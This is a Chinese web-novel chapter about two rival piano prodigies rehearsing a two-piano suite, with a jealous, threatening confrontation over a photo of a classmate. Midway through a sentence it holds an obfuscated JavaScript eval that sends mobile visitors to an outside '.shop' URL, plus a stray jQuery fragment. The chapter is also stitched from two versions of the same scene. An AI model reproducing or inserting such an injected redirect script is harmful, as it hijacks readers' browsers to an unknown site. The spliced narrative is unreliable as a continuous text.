排练室在祁家别墅的负一楼，没有窗户，恒温恒湿。
两架九尺施坦威并排放着，漆面在冷光灯下泛着森然的光。空气里有松香、木蜡油和灰尘混合的味道，像一座尘封的博物馆。
年辞益比祁颜先到。
他没穿校服，换了一身宽松的黑色练功服，袖口挽到手肘，露出一截覆着薄薄肌肉的小臂。
他正坐在左侧那架钢琴前，手指随意地在琴键上跑动，弹的是一段炫技的李斯特《钟》，音符密集得像暴雨，带着一股不服输的戾气。
听见脚步声，他头也没回，只从鼻腔里哼出一声：“慢死了。”
祁颜没接话。他穿着一件干净的白色衬衫，袖口扣得一丝不苟，脸色苍白得像一张宣纸。
他走到右侧那架钢琴前，坐下，掀开琴盖。动作机械，像一具被上好发条的木偶。
“谱子。”祁颜说，声音干涩。
年辞益这才停下，从琴盖上扫过来一张复印的谱子。
不是拉赫玛尼诺夫的协奏曲，而是双钢琴版本的《展览会图画》——穆索尔斯基的作品，其中的《基辅大门》宏大、肃穆，常被用作比赛压轴。
“伯母挑的。她说《基辅大门》够气势，能镇住场子。”年辞益转过身，盘腿坐在琴凳上，手肘撑在琴键边缘，下巴搁在手背上，眼神直勾勾地盯着祁颜，“不过我觉得她就是想看看，咱们俩‘双子星’凑在一起，到底能炸出多大的火花。”
祁颜接过谱子，目光在密密麻麻的音符上扫过。
他的指尖在“基辅大门”那几个大字上停留了一秒，然后翻到第一页——《侏儒》。
“从头开始？”祁颜问，语气平淡得像在问今天天气怎么样。
“不然呢？你以为我会跟你玩过家家？”年辞益嗤笑一声，重新坐回琴凳，手指悬在琴键上方，“我数三下。一、二——”
第三声没数出口，两架钢琴同时响了。
《侏儒》的开篇是沉重、压抑的。祁颜的右手弹出那个跛脚的、不稳定的主题，音符短促、干涩，像一只受伤的小兽在爬行。
年辞益紧随其后，用左手在低音区给出沉重的回应，像是无情的命运在碾压。
起初，他们的节奏是错开的。
祁颜弹得过于精准，每一个音符都像是用尺子量过的，缺乏那种病态的扭曲感；年辞益则太急躁，把侏儒的蹒跚弹成了愤怒的冲锋。
“你他妈能不能慢点？”弹到第二段反复时，年辞益猛地停手，转头瞪向祁颜，额角青筋跳了一下，“这是跛脚，不是竞走！你弹得跟节拍器似的！”
祁颜没理会他的暴躁，手指没停，只是冷冷地回了一句：“你弹得太快了。主题变形需要铺垫，你直接冲到高潮，后面怎么收？”
“我收你个头！”年辞益一把拍在琴键上，发出一声刺耳的杂音，“祁颜，你现在弹琴怎么跟个娘们似的？畏手畏脚！以前你不是这样的！”
以前的祁颜，是会为了一个音符的处理跟他争得面红耳赤，甚至会摔琴凳的祁颜。
现在的祁颜，像一潭死水，任他怎么搅动，都激不起半点波澜。
“因为我不想弹了。”祁颜终于停下，手指按在琴键上，发出一声沉闷的嗡鸣，“年辞益，这不是排练，这是行尸走肉。”
“行尸走肉？”年辞益气笑了，他猛地站起身，绕过两架钢琴之间的空隙，一把揪住祁颜的衣领，把他从琴凳上拽起来，迫使那双总是低垂的、死寂的眼睛看向自己，“你以为只有你不想弹？我他妈也不想！但我敢不弹吗？你爸断了手指，我爸呢？我爸当年为了供我学琴，把房子都卖了！我全家都指着我这根独苗！你跟我说行尸走肉？”
他吼得声嘶力竭，眼眶通红，那股暴躁的火焰几乎要把他自己和祁颜一起烧成灰烬。
179的身高在180的祁颜面前并不显矮，此刻他浑身散发着一种近乎绝望的疯狂。
“……我知道。”祁颜没有挣扎，只是平静地看着他，眼底是一片荒芜的死寂，“所以我们在同一条船上。但这艘船正在沉没，年辞益。”
年辞益揪着他衣领的手猛地一颤，像是被“沉没”这两个字烫到了。
他死死盯着祁颜，看了好几秒，然后像是泄了气的皮球，慢慢松开了手，颓然坐回琴凳上。
“……操。”他骂了一声，声音沙哑，“祁颜，你真他妈扫兴。”
空气重新陷入死寂。只有负一楼通风系统低沉的嗡嗡声。
良久，年辞益重新把手放在琴键上，这次不再是炫技的李斯特，而是极其缓慢地、一个音一个音地按下《侏儒》开篇的那个主题。笨拙、沉重，带着一种令人心碎的无力感。
“再来一次。”年辞益低着头，碎发遮住了眼睛，“这次……我慢点。”
祁颜看着他微微颤抖的肩膀，沉默了几秒，重新坐下。
这一次，他们没有抢拍，没有争执。
祁颜的琴声依旧精准，但在精准之中，多了一丝不易察觉的颤抖，像是侏儒在哭泣。
年辞益的低音不再粗暴，而是像沉重的脚步，亦步亦趋地跟着祁颜的旋律，偶尔在某个转折处，会用一个不和谐的和弦去触碰祁颜的音符，像是试探，又像是安抚。
排练持续到深夜。
他们弹完了《侏儒》，弹到了《古堡》，那是整部组曲中最抒情、最哀婉的乐章。
两架钢琴交织在一起，旋律像两条缠绕的蛇，互相绞杀，又互相依存。
弹到《古堡》的中段，祁颜的一个音符弹错了。
是一个简单的八度，他却按成了六度。
在以往，年辞益会立刻停下来嘲笑他，或者干脆将错就错弹得更乱。
但这次，年辞益没有停。
他甚至没有改变自己的旋律，只是在祁颜弹错的那一瞬间，用左手在高音区极其轻柔地补了一个音，那个音恰好是祁颜漏掉的那一个，完美地弥补了那个缺口，让旋律重新变得圆满。
祁颜的手指僵了一瞬。
他侧过头，看向年辞益。年辞益没有看他，依旧低着头，专注地看着琴键，额前的碎发随着身体的晃动而抖动。但在那昏黄的灯光下，祁颜看见年辞益的耳尖红了。
那是年辞益式的温柔。
粗暴、别扭，却真实存在。
一曲终了，最后一个音符在空气中消散了很久，两人才同时松开琴键。
琴弦还在微微震动，发出细微的嗡鸣，像某种不愿醒来的梦。
“你刚才那个音……”年辞益没抬头，声音闷闷的，“是故意弹错的吧？想试试我会不会发现？”
祁颜没承认，也没否认。
他只是看着自己放在琴键上的手，那根补位的手指似乎还残留着年辞益指尖的温度。
“年辞益。”祁颜忽然开口。
“干嘛？”年辞益不耐烦地回了一句，但没抬头。
“谢谢。”
年辞益猛地抬起头，像是听到了什么天方夜谭。他瞪着祁颜，眼睛瞪得溜圆，半晌，才从喉咙里挤出一声冷哼：“谢你大爷。下次再弹错，我直接把你手指掰断。”
说完，他站起身，走到墙边拿起自己的水瓶，猛灌了一口，喉结剧烈滚动。背对着祁颜，他的肩膀微微放松下来，那股暴躁的气焰像是被抽走了大半。
祁颜重新看向谱子。下一首是《牛车》。更加沉重，更加压抑。但他知道，他们会弹完的。就像他们过去十几年里无数次做的那样。
只是这一次，在那些沉重的音符间隙，祁颜的脑海里不受控制地浮现出另一幅画面——阳光明媚的操场，一个186公分的高个子体育生，一边啃着排骨一边含糊不清地说：“我陪你。”
那个画面太亮了，亮得让他眼眶发酸。
他迅速眨了眨眼，压下那股酸涩，重新将手指放在了冰冷的琴键上。
“继续。”祁颜说，声音恢复了之前的平静，但指尖却微微用力，按下了《牛车》的第一个沉重的和弦。
年辞益没说话，只是走回琴凳，坐下，用更加粗暴的力道砸下了伴奏的音符。
两架钢琴，两个少年，在同一片黑暗里，奏响了一场盛大而绝望的合奏。
他们彼此厌恶，又彼此依存；他们互相折磨，又互相救赎。他们是这个金碧辉煌的牢笼里，仅有的同类。
而在城市的另一端，何幸正对着手机屏幕发呆。屏幕上，是祁颜那条已经过去十二个小时、依旧孤零零躺着的回复：“我马上，过段时间回学校。”
他不知道，那个“马上”，究竟要等到什么时候。
年辞益那句话像一根淬了冰的针，精准地扎进祁颜紧绷的神经里。琴声戛然而止，最后一个音符悬在半空，突兀得刺耳。
排练室里只剩下通风系统低沉的嗡鸣，和两人交错的呼吸声。
祁颜的手指还按在错音的琴键上，指尖泛白。他没有立刻收回手，也没有抬头，只是脊背绷得笔直，像一张拉满的弓。
“问你话呢。”年辞益的声音从旁边传来，带着一股子漫不经心的狠劲儿。
他不知何时已经从琴凳上站起，踱到了祁颜身边，179的个子投下的阴影，将祁颜整个拢住。
他没有立刻逼迫，只是用指尖慢条斯理地敲着那架黑色的钢琴烤漆，发出嗒、嗒、嗒的轻响，像死神的倒计时。
“没谁。”祁颜终于开口，声音干涩，像砂纸磨过桌面。他想收回手，却发现手指僵硬得不听使唤。
“没谁？”年辞益嗤笑一声，那笑声又冷又薄，砸在空旷的排练室里激起回音。
他忽然俯下身，一只手撑在祁颜身侧的琴键上，猛地一按，发出一声尖锐的轰鸣。
巨大的声响震得祁颜耳膜发颤，身体不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17922175|213481||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
由自主地往后缩了缩。
年辞益就趁着这个空隙，另一只手从自己校服内袋里抽了出来。
指间夹着的，正是那张被他顺走的照片——何幸冲过终点线，汗珠飞溅，眼神亮得灼人。
照片被不轻不重地拍在祁颜面前的谱架上。
“是不是这个体育生？”年辞益的声音压低了，带着一种猫捉老鼠般的玩味，热气呵在祁颜冰凉的耳廓上，“祁颜，你撒谎的技术可一点没长进。昨天你妈把这张照片甩我脸上的时候，我就认出来了。你们学校后街那家奶茶店，背景没错。”
祁颜的瞳孔猛地收缩。
他看着那张照片，照片上的何幸笑得毫无阴霾，与此刻被阴影笼罩的他，像是活在两个世界。
他想伸手去拿开照片，手腕却被年辞益一把攥住。
年辞益的手劲很大，带着常年练琴留下的薄茧，箍得祁颜腕骨生疼。
他没有用蛮力去掰，只是牢牢地扣着，指尖有意无意地摩挲着祁颜腕内侧那层薄薄的皮肤，像是在丈量，又像是警告。
“你老师昨天还特意打电话问我，”年辞益偏过头，嘴唇几乎贴上祁颜的耳垂，语气却恶劣得令人发指，“问你是不是……喜欢他？啧，原话是‘祁颜同学最近似乎总走神，提到那个体育生何幸时会情绪波动’。祁颜，你才转学不到一个月吧？这么快就搭上了？”
他顿了顿，像是想起了什么好玩的事，低低地笑了起来，胸腔的震动顺着相贴的手臂传到祁颜身上。
“哦，对了，我还没告诉你——”年辞益猛地凑得更近，几乎是将祁颜困在了他和钢琴之间，另一只手捏起那张照片，在祁颜眼前晃了晃，眼底翻涌着某种晦暗又偏执的情绪，“昨天我说他是你‘小男朋友’的时候，你可是半声都没反驳啊。怎么，被我说中了？真在一起了？”
最后几个字，他几乎是咬着牙说出来的，带着一股子压抑不住的烦躁和怒意。
那股怒意不似作假，像是一头被侵犯了领地的野兽。
他捏着照片的手指用力到指节泛白，照片边缘都被捏出了褶皱，仿佛捏着的不是一张纸，而是照片里那个笑得刺眼的体育生本人。
祁颜被迫仰起头，对上年辞益那双翻涌着复杂情绪的眼睛。
那里面有不甘，有愤怒，还有一丝他读不懂、却让他心脏骤停的……受伤？
但他很快移开了视线，重新落回照片上何幸的笑脸。
那笑容此刻像一把烧红的烙铁，烫得他眼睛生疼。
他不能承认。
一个字都不能。
“没有。”祁颜终于找回了自己的声音，却冷得像块冰，每一个字都从齿缝里挤出来，“只是……同学。”
他试图抽回手，这次年辞益没有用力阻拦，只是任由他的手腕滑脱。
但下一秒，年辞益捏着照片的手猛地一挥，照片从祁颜眼前飘落，打着旋儿跌进钢琴打开的琴盖里，落在密密麻麻的琴弦上，发出细微的铮鸣。
“同学？”年辞益直起身，居高临下地看着他，眼神里的晦暗被一层更厚的冰霜覆盖，“最好是。祁颜，你最好记住你是谁的人。你的时间，你的手指，你的眼睛……连你呼吸的空气，都是钢琴的。别把心思浪费在没用的垃圾身上。”
他抬脚，用鞋尖不轻不重地踢了一下钢琴腿，琴弦又是一阵嗡鸣，仿佛在附和。
“下次再让我看见你对着这张照片里的人走神……”年辞益弯下腰，重新逼近，手指捏住祁颜的下巴，强迫他抬起头，指甲几乎陷进肉里，“我不介意亲自去会会这位‘同学’，让他知道，什么叫——‘不该碰的人’。”
说完，他猛地甩开手，像是甩掉什么脏东西。
转身，头也不回地走到另一架钢琴前，重重坐下，手指狠狠砸下一串狂乱、暴戾、充满戾气的音符，盖过了排练室里所有其他的声音。
祁颜僵在原地，下巴上还残留着年辞益指尖冰冷而狠戾的触感。
他缓缓低下头，看着琴弦上那张静静躺着的照片。
何幸的笑脸在昏暗中模糊不清。
一滴温热的液体，毫无预兆地砸在琴键上，发出极轻微的“嗒”的一声。
紧接着，是第二滴，第三滴……
他迅速抬手，用手背狠狠抹了一把眼睛，将脸埋进臂弯里，肩膀抑制不住地颤抖起来。
钢琴的嗡鸣，年辞益狂暴的琴声，还有那张落在琴弦上的照片，交织成一张巨大的网，将他死死缠住，越收越紧，窒息得让他发不出任何声音。
他不是谁的。
他也不想伤害何幸。
可年辞益的话，像诅咒，像枷锁，将他所有的侥幸和期盼，碾得粉碎。
排练室里，两架钢琴，两种截然不同的琴声，一个狂暴如雷，一个死寂如灰，共同奏响的，却是一场名为“绝望”的双钢琴协奏。